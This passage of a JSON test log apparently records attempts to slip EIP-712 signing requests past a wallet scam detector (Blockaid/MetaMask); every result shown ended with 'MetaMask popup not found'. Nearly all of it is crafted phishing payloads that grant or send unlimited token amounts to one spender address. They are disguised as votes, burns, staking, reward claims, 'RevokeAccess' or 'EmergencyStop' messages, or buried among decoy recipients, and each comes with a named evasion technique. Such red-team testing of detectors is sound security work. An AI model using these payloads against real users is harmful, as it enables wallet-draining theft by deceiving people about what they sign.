"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T18:05:35.431Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T18:05:44.982Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T18:05:54.540Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T18:06:04.088Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T18:06:13.646Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T18:06:23.195Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T18:06:32.757Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T18:06:42.307Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T18:06:51.870Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T18:07:01.420Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN40-EIP3009-022", "timestamp": "2026-01-31T18:07:10.991Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x0f0121e573e99e2dca663e271f2b6ee84639adeb5eec053feef075e141c19592\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN40-EIP3009-054", "timestamp": "2026-01-31T18:07:20.551Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x69a60932354830a3c1b64c66f262c23e455da809d1cafe9ca2b6a1d63ebd496a\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T18:07:30.095Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T18:07:39.648Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T18:07:49.207Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T18:07:58.769Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T18:08:08.324Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T18:08:17.888Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T18:08:27.436Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My 